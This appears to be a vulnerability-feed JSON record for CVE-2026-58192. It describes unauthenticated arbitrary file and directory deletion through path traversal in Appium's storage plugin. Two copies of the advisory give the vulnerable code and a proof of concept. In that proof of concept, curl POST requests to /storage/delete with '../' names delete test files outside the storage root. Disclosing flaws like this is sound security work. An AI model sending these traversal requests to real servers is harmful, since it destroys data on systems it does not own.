{"vuln_id":"CVE-2026-58192","aliases":["GHSA-jwgx-mp9m-jwcr"],"description":"appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin","published_at":"2026-11-20T14:34:30Z","modified_at":"2026-11-20T14:45:04.346070Z","first_seen_at":"2026-11-21T19:15:19.296902Z","severity":"high","severity_source":"ghsa","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","cwe":["CWE-22","CWE-73"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.00523,"epss_percentile":0.45229,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-58192"},"matched_alias":null,"items":[{"id":10878,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-jwgx-mp9m-jwcr: appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin","summary":"appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin\n\n## Summary\n\nThe Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem.\n\nThe same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous.\n\n### Details\n\nPublished build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`):\n\n- `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`:\n```ts\nasync delete(name: string): Promise\n{\nif (name.toLowerCase().endsWith(TMP_EXT)) {\nreturn false;\n}\nconst destinationPath = path.join(this._root, name); // <-- no sanitization\nif (!(await fs.exists(destinationPath))) {\nreturn false;\n}\nawait fs.rimraf(destinationPath); // <-- recursive delete\nreturn true;\n}\n```\n- `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body:\n```ts\nSTORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {\nreturn await executeStorageMethod(\nasync (storage) => await storage.delete(parseRequestArgs(req, ['name']).name),\n);\n};\n```\n`parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value.\n- Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` →\n`requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely.\n\n### PoC\n\n1. Install and start the server with the storage plugin:\n```sh\nnpm install appium@3.5.0\n./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin\n./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723\n```\n(Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.)\n\n2. Plant a victim file/dir outside the storage root, then delete via traversal:\n```sh\nmkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt\necho single > /tmp/pv_file.txt\n\ncurl -s -X POST http://127.0.0.1:4723/storage/delete \\\n-H 'Content-Type: application/json' \\\n-d '{\"name\":\"../../../../../../../../../../tmp/pv_file.txt\"}'\n# -> {\"value\":true}\n\ncurl -s -X POST http://127.0.0.1:4723/storage/delete \\\n-H 'Content-Type: application/json' \\\n-d '{\"name\":\"../../../../../../../../../../tmp/pv_dir\"}'\n# -> {\"value\":true}\n```","url":"https://osv.dev/vulnerability/GHSA-jwgx-mp9m-jwcr","published_at":"2026-11-20T14:34:30Z","updated_at":"2026-11-20T14:45:04.346070Z","fetched_at":"2026-11-21T19:15:55.946243Z","severity":"high","cvss_score":8.6,"epss":0.00523,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"@appium/storage-plugin","vuln_id":"CVE-2026-58192","vuln_ids":["CVE-2026-58192","GHSA-JWGX-MP9M-JWCR"],"tags":["osv","npm","fix-available"],"cluster_id":2052,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10878","html":"https://vulnwatch.ve1ve2.com/item/10878"}},{"id":2315,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-jwgx-mp9m-jwcr / CVE-2026-58192: appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin","summary":"appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin\n\n## Summary\n\nThe Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem.\n\nThe same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous.\n\n### Details\n\nPublished build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`):\n\n- `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`:\n```ts\nasync delete(name: string): Promise\n{\nif (name.toLowerCase().endsWith(TMP_EXT)) {\nreturn false;\n}\nconst destinationPath = path.join(this._root, name); // <-- no sanitization\nif (!(await fs.exists(destinationPath))) {\nreturn false;\n}\nawait fs.rimraf(destinationPath); // <-- recursive delete\nreturn true;\n}\n```\n- `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body:\n```ts\nSTORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {\nreturn await executeStorageMethod(\nasync (storage) => await storage.delete(parseRequestArgs(req, ['name']).name),\n);\n};\n```\n`parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value.\n- Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` →\n`requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely.\n\n### PoC\n\n1. Install and start the server with the storage plugin:\n```sh\nnpm install appium@3.5.0\n./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin\n./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723\n```\n(Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.)\n\n2. Plant a victim file/dir outside the storage root, then delete via traversal:\n```sh\nmkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt\necho single > /tmp/pv_file.txt\n\ncurl -s -X POST http://127.0.0.1:4723/storage/delete \\\n-H 'Content-Type: application/json' \\\n-d '{\"name\":\"../../../../../../../../../../tmp/pv_file.txt\"}'\n# -> {\"value\":true}\n\ncurl -s -X POST http://127.0.0.1:4723/storage/delete \\\n-H 'Content-Type: application/json' \\\n-d '{\"name\":\"../../../../../../../../../../tmp/pv_dir\"}'\n# -> {\"value\":true}\n```","url":"https://github.com/advisories/GHSA-jwgx-mp9m-jwcr","published_at":"2026-11-20T14:34:30Z","updated_at":"2026-11-20T14:34:30Z","fetched_at":"2026-11-21T19:15:18.416744Z","severity":"high","cvss_score":8.6,"epss":0.00523,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"@appium/storage-plugin","vuln_id":"CVE-2026-58192","vuln_ids":["CVE-2026-58192","GHSA-JWGX-MP9M-JWCR"],"tags":["ghsa","npm","CWE-22","CWE-73"],"cluster_id":2052,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2315","html":"https://vulnwatch.ve1ve2.com/item/2315"}}]}